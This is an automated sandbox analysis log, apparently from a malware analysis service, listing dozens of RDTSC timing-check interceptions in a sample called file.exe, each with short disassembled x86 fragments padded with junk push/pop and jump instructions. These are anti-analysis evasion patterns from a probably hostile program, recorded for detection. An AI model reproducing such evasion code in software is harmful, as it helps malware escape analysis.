Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1481590 second address: 1481596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1481596 second address: 14815B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6AC4F69488h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14815B3 second address: 14815DC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 jmp 00007F6AC4F647F3h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007F6AC4F647EAh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148483D second address: 1484854 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F6947Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F6AC4F69476h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148C073 second address: 148C079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148C079 second address: 148C085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6AC4F69478h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148A98D second address: 148A993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148A993 second address: 148A9BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F6AC4F69486h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push esi 0x00000013 push edx 0x00000014 pop edx 0x00000015 pop esi 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148AB30 second address: 148AB5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647EFh 0x00000007 jmp 00007F6AC4F647EFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 jnl 00007F6AC4F647E6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148AB5C second address: 148AB62 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148ADE5 second address: 148ADF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647EBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148ADF4 second address: 148ADFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148ADFE second address: 148AE09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148AF43 second address: 148AF4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148B1A7 second address: 148B1AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148B1AC second address: 148B1C6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6AC4F69482h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148B33A second address: 148B353 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6AC4F647F3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148B353 second address: 148B359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148BD33 second address: 148BD37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148E84B second address: 148E8AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6AC4F69476h 0x0000000a jmp 00007F6AC4F6947Bh 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F6AC4F6947Dh 0x00000018 popad 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c jl 00007F6AC4F69476h 0x00000022 jng 00007F6AC4F69476h 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b jmp 00007F6AC4F6947Fh 0x00000030 popad 0x00000031 pushad 0x00000032 jmp 00007F6AC4F69484h 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148E8AD second address: 148E8B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 148EA43 second address: 148EA4D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6AC4F69476h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149C920 second address: 149C926 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149C926 second address: 149C92C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149DF87 second address: 149DFBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6AC4F647EEh 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d push ecx 0x0000000e jmp 00007F6AC4F647F9h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149DFBD second address: 149DFC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AC254 second address: 14AC25A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AF1F7 second address: 14AF1FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AF1FB second address: 14AF20B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F6AC4F647E6h 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AF20B second address: 14AF20F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AF20F second address: 14AF230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F6AC4F647E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 push esi 0x00000011 pop esi 0x00000012 pop esi 0x00000013 jmp 00007F6AC4F647EEh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AF230 second address: 14AF23A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F6AC4F69476h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AF23A second address: 14AF244 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6AC4F647E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AF244 second address: 14AF24E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AECED second address: 14AED13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6AC4F647EFh 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6AC4F647F0h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14AED13 second address: 14AED19 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C5AE7 second address: 14C5AED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C5AED second address: 14C5B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F6AC4F69476h 0x0000000c popad 0x0000000d jmp 00007F6AC4F69485h 0x00000012 je 00007F6AC4F6947Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C5B17 second address: 14C5B3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6AC4F647EFh 0x0000000c jmp 00007F6AC4F647EDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C492F second address: 14C4933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C4933 second address: 14C493B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C493B second address: 14C4941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C4941 second address: 14C4945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C4945 second address: 14C4949 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C53DF second address: 14C53E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C53E3 second address: 14C53E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C53E9 second address: 14C53F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F6AC4F647E6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C5828 second address: 14C582E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C84CC second address: 14C84D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C84D0 second address: 14C84DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C84DA second address: 14C84DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C857E second address: 14C8586 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C8586 second address: 14C858C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C87B2 second address: 14C87B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C87B7 second address: 14C87BC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C87BC second address: 14C8812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jg 00007F6AC4F69482h 0x0000000e nop 0x0000000f mov edx, dword ptr [ebp+122D2B0Ch] 0x00000015 push 00000004h 0x00000017 call 00007F6AC4F69487h 0x0000001c mov edx, esi 0x0000001e pop edx 0x0000001f push C8B5B72Ch 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F6AC4F69482h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C8812 second address: 14C8817 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C8A5A second address: 14C8A68 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F6AC4F69476h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C8A68 second address: 14C8ACA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a or edx, 614FDA17h 0x00000010 push dword ptr [ebp+122D2487h] 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007F6AC4F647E8h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 sub dword ptr [ebp+122D18C7h], ebx 0x00000036 movsx edx, cx 0x00000039 push DB24FD0Dh 0x0000003e je 00007F6AC4F64808h 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F6AC4F647F6h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14C8ACA second address: 14C8ACE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14CB629 second address: 14CB635 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F6AC4F647E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14CB635 second address: 14CB658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6AC4F6947Ah 0x00000009 jmp 00007F6AC4F69485h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14CB658 second address: 14CB67B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F6AC4F647F5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jng 00007F6AC4F647F2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14CB67B second address: 14CB6A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F6AC4F69476h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jo 00007F6AC4F6948Bh 0x00000013 push edi 0x00000014 pop edi 0x00000015 jmp 00007F6AC4F69483h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14CB6A7 second address: 14CB6AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14CD70C second address: 14CD710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14CD710 second address: 14CD714 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14CD714 second address: 14CD71A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930353 second address: 5930379 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push ecx 0x0000000c mov si, di 0x0000000f pop edi 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930379 second address: 593037D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593037D second address: 593038F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593038F second address: 59303BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F6947Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F6AC4F69486h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 mov cl, ADh 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930402 second address: 593047D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F6AC4F647EEh 0x0000000f push eax 0x00000010 jmp 00007F6AC4F647EBh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007F6AC4F647F6h 0x0000001b mov ebp, esp 0x0000001d jmp 00007F6AC4F647F0h 0x00000022 pop ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F6AC4F647F7h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593047D second address: 5930495 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6AC4F69484h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DDF56 second address: 13DDF83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6AC4F647F1h 0x00000008 jmp 00007F6AC4F647F0h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930524 second address: 5930546 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 mov cl, dl 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6AC4F69485h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930546 second address: 593054C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593054C second address: 5930584 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F69483h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F6AC4F69486h 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930584 second address: 59305A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930613 second address: 5930619 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930619 second address: 593064D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6AC4F647F7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593064D second address: 5930671 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F69489h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930671 second address: 5930678 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930678 second address: 5930687 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6AC4F6947Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930687 second address: 5930697 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov al, byte ptr [edx] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930697 second address: 593069B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593069B second address: 593069F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 593069F second address: 59306A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59306A5 second address: 59306AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59306AB second address: 59306BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e movzx esi, bx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59306BD second address: 59306DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b pushad 0x0000000c mov esi, 24E8CD9Dh 0x00000011 push eax 0x00000012 push edx 0x00000013 mov ebx, eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59306DD second address: 5930697 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 6D1C265Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a jne 00007F6AC4F69418h 0x00000010 mov al, byte ptr [edx] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59306FC second address: 5930702 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5930702 second address: 5930706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
